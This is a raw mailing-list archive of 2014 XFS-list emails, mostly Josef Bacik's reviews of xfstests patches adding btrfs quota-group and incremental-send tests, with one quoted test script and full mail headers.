-------------------------------------------------- 0.00 INFO_TLD URI: Contains an URL in the INFO top-level domain 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Dave Chinner" > > As a practicing forensicator, I can say "potentially recoverable > > files" is a heavily used concept. > > "forensicator"? I'm so behind on my terminology. :/ This fall, on HBO: David Duchovny in Califorensicator. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://www.bcp38.info 2000 Land Rover DII St Petersburg FL USA BCP38: Ask For It By Name! +1 727 647 1274 From prvs=81468c4843=jbacik@fb.com Mon Mar 10 14:43:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 46F3F7F3F for ; Mon, 10 Mar 2014 14:43:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33C90304048 for ; Mon, 10 Mar 2014 12:43:59 -0700 (PDT) X-ASG-Debug-ID: 1394480638-04cbb054b7216e60001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id AO2Eq9pOyM3tDGlC for ; Mon, 10 Mar 2014 12:43:58 -0700 (PDT) X-Barracuda-Envelope-From: prvs=81468c4843=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044010 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2AJe7xm022298; Mon, 10 Mar 2014 12:43:43 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=APQwTJFsPYrW2ID5/4V0jCF2x0Eti8HpOK6QZQaLFM4=; b=WryoLlr0UTUOWTvMMVtv7WHUb6QisLW2G8kAK1FYWbjxOZTr98LVRcjZt4Ra9Xft71j8 WXEf1vDPHMCRurdyfNb6S93HzZfkhduzFYqRGO+z55reawjzoZa2guIz5mK+bsBRyWgw cLZ/240J+r3Rq+t7vdlSjy3nai8Divrk0fs= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1jhamtj62b-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Mar 2014 12:43:43 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.23) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Mar 2014 12:43:41 -0700 Message-ID: <531E15EA.9020903@fb.com> Date: Mon, 10 Mar 2014 15:43:38 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Wang Shilong , CC: Subject: Re: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test In-Reply-To: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-10_03:2014-03-10,2014-03-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.81856093575783e-07 kscore.compositescore=0 circleOfTrustscore=54.8109329166201 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403100102 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1394480638 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 03/09/2014 11:44 PM, Wang Shilong wrote: > Test flow is to run fsstress after triggering quota rescan. the > ruler is simple, we just remove all files and directories, sync > filesystem and see if qgroup's ref and excl are nodesize. > > Signed-off-by: Wang Shilong --- > v1->v2: switch into new helper _run_btrfs_util_prog() --- > tests/btrfs/041 | 76 > +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/041.out | 3 +++ tests/btrfs/group | 1 + 3 files > changed, 80 insertions(+) create mode 100644 tests/btrfs/041 create > mode 100644 tests/btrfs/041.out > So this doesn't pass for me but it's not because we're broken, it's because the test is broken. What you should do is run sync after you do the rm, and then capture the output of btrfs qgroup show, and then do the rescan and redo qgroup show and make sure the numbers match. I did this in my qgroup test, you can look there as an example. Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTHhXkAAoJEANb+wAKly3BQI8QAIEFXMPrFEJxj9uKuwnBZSSC r4g7pHyac82EJA3T/jx+KIzH3aeUz0r1mEg8sYXXACAW5BZguyhe1LR0rU2ZBDaP 9ilgWwCVm3d3EhiDmZJDCZueB7IXqE4/GX6D1zyF9OxVNk3Ng9gOY0/3G7Rb52FI UTT/UhA8f3mFHQq4DbOebfacu8wbMH9rjHucxgin63UQLx9J9k+3lv5Y7AHihSrX 3ly+B9+wqu9zl8gQGhxyvdayWeka6Hr43lkniaOehuW118WjjwIivE/CbTkla/3f P3hoJSbUiqlCPONKkfGExYsIny0y9I3igMnLqs58RLeyd4+iSF1O4wFyFGn6hnDy sazS8mz4V3PqnfHAj0D3scSYVyYvcrHcUU5WGs+0JiyExfQPFSrbybfwncIgbBg6 +63iqd7qHwwjClSVNckFurU4B+lj1aVyyk/S1/Z2jN/9s3nrM3/WAR3cqJGIuNyT RPT9mzmkc1OICO0+dvwHMol894CCVh9b0iQ6e2NBWYmEfv3BIj9tZNjUZ/ySJdQC h2f00uLovRPazI/X/gKVraHj13Go3giL5LCIbnUso/B18iA2V3qyyXGPMBTB1Rws wzaxlXsC8cZsMUgFkg7z6Q1Kc9hyUj4AF3Vg/qZze4F216LLAOa9Bni5CxKOVytk MPlXItpXYAEX8orapQdO =/ZGH -----END PGP SIGNATURE----- From prvs=81468c4843=jbacik@fb.com Mon Mar 10 14:46:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 36C577F3F for ; Mon, 10 Mar 2014 14:46:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E06D8F8035 for ; Mon, 10 Mar 2014 12:46:46 -0700 (PDT) X-ASG-Debug-ID: 1394480805-04bdf05dab43e2b0001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id AVhwUqBAzxgn4qWE for ; Mon, 10 Mar 2014 12:46:45 -0700 (PDT) X-Barracuda-Envelope-From: prvs=81468c4843=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2AJiAk5018927; Mon, 10 Mar 2014 12:46:30 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=udQKxoCiuEhwGQnKJLnfHyqjRgVDCF4nlgOIxE0IGmM=; b=P2/7Nlq6Ct/Z3WOnVwdO0i94NmZiDTVfld9RrX0pq1oab7GuoDHo1+Cc7MhDA0sxtRfa FgO4gJye4vyBAOzRbJ44TWIpoUjyeK3KG9nmWXM1HHjdWgihcDqeCadGLtrpG4NxB4RR MkoRRoQe1c9HOIFjvsjzXVlbn2rqjqNLiUM= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1jhawgj5v4-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Mar 2014 12:46:29 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.19) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Mar 2014 12:46:28 -0700 Message-ID: <531E1692.5010003@fb.com> Date: Mon, 10 Mar 2014 15:46:26 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Wang Shilong , CC: Subject: Re: [PATCH v2 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <1394423051-17356-2-git-send-email-wangsl.fnst@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups In-Reply-To: <1394423051-17356-2-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-10_03:2014-03-10,2014-03-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.81856093575783e-07 kscore.compositescore=0 circleOfTrustscore=54.8109329166201 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403100103 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1394480805 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 03/09/2014 11:44 PM, Wang Shilong wrote: > Add missing test for btrfs quota groups feature,test idea is to > create a parent qgroup that groups some subvolume groups, we try to > write some data into every subvolume and then check if we exceed > parent qgroup's limit size. > > Signed-off-by: Wang Shilong --- > v1->v2: switch into new helper _run_btrfs_util_prog() use > 'XFS_IO_PROG' instead of 'dd' Ran fine, looks reasonable Reviewed-by: Josef Bacik Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTHhaRAAoJEANb+wAKly3BQA8QALiXQci/aiNj70AZ353ATQBI EseYkX9qmuNfYRfZW1FRCoUdXANCCENkovsxaOvZ2kQlhSG1I1kYzZu+GDA6d8Ah LquR5XoHoSKP3My3y1tZnmkYcND/Uq2RXxMlPZA5IvulzDDvv3dE+JRn0fcq1Fhp u3IYyFEt4xtv86uLMdJk2fi1bwhoepdMO3WUnYWnRgcVzI+wlLz5pCryxnn9MZau 0MYwce5nmc3mqlNeMHnfARixI91X5W676kymbKE0+7zEwdXruqckS/MMg4qdESUV NLkEDkFzE1RM37Yg6VRB+V9R3bP4o5P1lm4evXhAA+fmneqsVWgOSJ+fKYPzsYFr cJF8V3WSkFlRWQhdsZIb/bSBuZHe2hr9kEshX4uqlX74qEzrWMrN+NeixzpVC/1f k4yj+9RqBXNW6QfBQW7rj40JUVCb6yltDjpaHbUagQwN1wAcOBDlKYb3KOjJdU1u wGS0ZRRRx4PJkgFviJoNuv2ZeSaPnUcVvGe3XdbNC6Lh2orzHwopcvEPFVHF5hI6 NgUlxeVhbSXKrAI07V467wZ0voQkpVl/srkLdlZx/4lPdgcTA3DSNv5NbBdPRWmD g6atdMQkSN4f+NxJDVSU7Kr9CBczQm7fms794DljX0Q1vMBBB9XO+pxlnnIaaaSf 5a8HFdn6+pvKxTU+ETUJ =SHWF -----END PGP SIGNATURE----- From prvs=81468c4843=jbacik@fb.com Mon Mar 10 14:49:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D2037F3F for ; Mon, 10 Mar 2014 14:49:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3BAA08F8035 for ; Mon, 10 Mar 2014 12:49:14 -0700 (PDT) X-ASG-Debug-ID: 1394480953-04cb6c5678415930001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id vhBrjUxA6txNLGHC for ; Mon, 10 Mar 2014 12:49:13 -0700 (PDT) X-Barracuda-Envelope-From: prvs=81468c4843=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2AJi94Z018902; Mon, 10 Mar 2014 12:49:01 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=gszRPMhcpdygCsqwXQrqe9/dhjzGMY4qZCmaoEn/xC8=; b=hgI4iTOzkCkdqrx384Lq/OWtGsTbGSzQqyzNBOohgi/ZxzyoiAsR1AmJ+BV3IBxShXAW sK6BYuvOnE8HgZjF4SpiT7/hIm3fOkZD7OLihHJbL0GGfp0MtbrKwJCTYlndD53xsPBr lQpY5wbhK6lejdXchJMPHUTOfGUJ7cDmy2g= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1jhawgj67t-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Mar 2014 12:49:01 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.13) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Mar 2014 12:48:45 -0700 Message-ID: <531E171B.8090204@fb.com> Date: Mon, 10 Mar 2014 15:48:43 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Wang Shilong , CC: Subject: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <1394423051-17356-3-git-send-email-wangsl.fnst@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations In-Reply-To: <1394423051-17356-3-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-10_03:2014-03-10,2014-03-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.81856093575783e-07 kscore.compositescore=0 circleOfTrustscore=54.8109329166201 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403100103 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1394480953 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 03/09/2014 11:44 PM, Wang Shilong wrote: > So this is a stress test for btrfs quota operations. it can also > detect the following commit fixed problem: > > 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) > > Signed-off-by: Wang Shilong --- > v1->v2: switch into new helper _run_btrfs_util_prog() --- > tests/btrfs/043 | 76 > +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/043.out | 2 ++ tests/btrfs/group | 1 + 3 files > changed, 79 insertions(+) create mode 100755 tests/btrfs/043 create > mode 100644 tests/btrfs/043.out > > diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode > 100755 index 0000000..d6c4bf3 --- /dev/null +++ b/tests/btrfs/043 > @@ -0,0 +1,76 @@ +#! /bin/bash +# FS QA Test No. 043 +# +# > stresstest for btrfs quota operations. we run fsstress and quota +# > operations concurrently. +# > +#----------------------------------------------------------------------- > > +# Copyright (c) 2014 Fujitsu. All Rights Reserved. > +# +# This program is free software; you can redistribute it > and/or +# modify it under the terms of the GNU General Public > License as +# published by the Free Software Foundation. +# +# This > program is distributed in the hope that it would be useful, +# but > WITHOUT ANY WARRANTY; without even the implied warranty of +# > MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# > GNU General Public License for more details. +# +# You should have > received a copy of the GNU General Public License +# along with > this program; if not, write the Free Software Foundation, +# Inc., > 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > > +# > + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output > created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is > the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + > +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard > environment, filters and checks +. ./common/rc +. ./common/filter > + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm > -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ > $i -le 5 ] + do + _run_btrfs_util_prog quota enable $SCRATCH_MNT + > _run_btrfs_util_prog quota disable $SCRATCH_MNT + i=$(($i+1)) + > sleep 1 + done +} + +MKFS_SIZE=$((1024 * 1024 * 1024)) +run_check > _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + > +_quota_enabled_background & +run_check $FSSTRESS_PROG -d > $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +run_check > _scratch_unmount +_check_scratch_fs + You should probably be doing something to make sure the background quota stuff exits properly before your script exits, my fio box can run the fsstress in way less than 5 seconds. Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTHhcbAAoJEANb+wAKly3B5Y0P/3z2IPMHDb95QwtmK0Ehsy8G meD44ew0yy8f4hMED5VAnHeKEctRfNierXz+pJAKlxvREzbNKIlnTSDLgwYxMCeO OQruW1Dp6W4WtSNltF8YfIVZqhLksHpkoW7zYrSr+qCZeQsNal61rjqQ2cydWb4u nCnICJa/KkLT84MW4WrZU+S2RJE7kvfqQoZkXND4rH2Nw9hAaAnF6bK4+ZfvKwni uDrBl3vdrQWIps304zIGaYxpnheIskeVdEG2AtL/KsCpCuSI/m/yjFsU8w/yTJ64 g4Kbd9l3sTNSfErujeBZ9brEpVRwslUzSnw0u5g5PNABRYsTcnyh+tkelCIMH8MI 2StpONvNXLQeaL2N378/syV4oWvAez6qUtFVFHTCfjKlugxn92juJXQKaS98K4Un V1+CrJ6cH2bGLjOKVnDsIf8aY77hSuP6Qn/wNMcZvO10ajlpRhFS9FYy12jyoC7M 1aSLX+6R9pk+MvCwFAS+9w2hYTj5ksDhVZWXIwPxK9rQE/NYitNrv+y6QzcF0xhi udgTPl5XDdtiDWcDabMHEr6ky5gbnz6oiLcRy4V/XHbr9ymInaiB7fhBJ0DOX78m I19DBe/QIPCGBwFcgKHmadZAudihory6UzMaMkFlzbt4AVjBEYujS7U4LDhFN0lx UYXoSJdzjA2OZWhUXfdL =jTbe -----END PGP SIGNATURE----- From prvs=81468c4843=jbacik@fb.com Mon Mar 10 14:56:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A39C27F3F for ; Mon, 10 Mar 2014 14:56:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B72BAC001 for ; Mon, 10 Mar 2014 12:56:32 -0700 (PDT) X-ASG-Debug-ID: 1394481391-04cbb054b92179f0001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id N32TeyBzE4ZKLtSY for ; Mon, 10 Mar 2014 12:56:31 -0700 (PDT) X-Barracuda-Envelope-From: prvs=81468c4843=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2AJrckb027112; Mon, 10 Mar 2014 12:56:29 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=Ekz/7aDUUfBbJcx7zr7mBLFDbQFRw/Em1bzgI2Xn4cA=; b=BegCPeOHYZggL2pE7SGLNV7RnVA9ZFDyFfIpISbAL6Vlz9T3nHmNCA2BWkK2PPvohete 2x+4jYGdybveHQUZwsOKx180Xx0vKvek8c/VRszTWC/1P5EOgO/RhprUrUwkc8V78WBO 1R2JuK1uNsJjazxSDrDwKH88AowrTPRtCuo= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1jhawgj6xd-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Mar 2014 12:56:29 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.TheFacebook.com (192.168.16.17) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Mar 2014 12:56:27 -0700 Message-ID: <531E18E9.5050206@fb.com> Date: Mon, 10 Mar 2014 15:56:25 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Filipe David Borba Manana , CC: Subject: Re: [PATCH v2] xfstests: add test btrfs/042 for btrfs incremental send References: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> <1393242925-16087-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test btrfs/042 for btrfs incremental send In-Reply-To: <1393242925-16087-1-git-send-email-fdmanana@gmail.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-10_03:2014-03-10,2014-03-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=5.17466958172008e-10 kscore.compositescore=0 circleOfTrustscore=976.04386983901 compositescore=0.324642340081358 urlsuspect_oldscore=0.324642340081358 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=2524143 rbsscore=0.324642340081358 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403100104 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1394481391 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 02/24/2014 06:55 AM, Filipe David Borba Manana wrote: > Regression test for a btrfs incremental send issue where invalid > paths for utimes, chown and chmod operations were sent to the send > stream, causing btrfs receive to fail. > > If a directory had a move/rename operation delayed, and none of its > parent directories, except for the immediate one, had delayed > move/rename operations, after processing the directory's > references, the incremental send code would issue invalid paths for > utimes, chown and chmod operations. > > This issue is fixed by the following linux kernel btrfs patch: > > Btrfs: fix send issuing outdated paths for utimes, chown and chmod > > Signed-off-by: Filipe David Borba Manana --- > Worked as expected, thanks Reviewed-by: Josef Bacik Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTHhjpAAoJEANb+wAKly3Bh9gQANDHrCRfOb0Xwp0EKFreXyL0 6CysWgSsZqUusillUPMNzwu/fY8fKH6ZWU2Q3f1ysx3KH+2cLZqEqdVaG7S5Q6rA BWpSTwsEDrzshKFOVLCJfVeZdMglgcYkKFyHC+0mym+JG81ksQl9tiSfTo5vXQV4 PuZ5zg9b9FWBCquEnQ7vpyxyVA/h9hc8YDyuKadeN60fYhzxdHIR/3FPqrh+UeCc XSbMRupNdPCtMVc/mADMfOhiUVQTpsSz+iL3+lVG7lbVp8hAio6DspFETvKyzcUV S8l7LkknMX1ylFRV/wc5RBVU1MrFih3qn1GOmT/rAMipXM2q5n7CQ4NaVBbYaMRO AuyPhygQqH1k3FnMBQGIai37StAmhSPlYMDwWSETP3Uw6V0kENWLyPG02U6uM2cI wBWg86/EUNmt5zC9YTbehuD12Jyb3rv3JyhzNeoNhyJv5o1a7bKvV8Uc1NcVu1ng fGSO+RWlhqxyoXCwSa5Zor3j3nYUN8pxDk9M/wppTb211oKnYC2xAcGThly4eU7L rwRrx7f7lG6Ep6R5Y9NAfEqHQftjML3R4Tc+RJ/MgpON4RDEaFX5l2tWOKior/Ss yAg5vAVejFAbiVs8ueYTN+k5GAiFu7Zsrx/7uohVzMyI2qrxj5ZkxbFYY/fffLZV 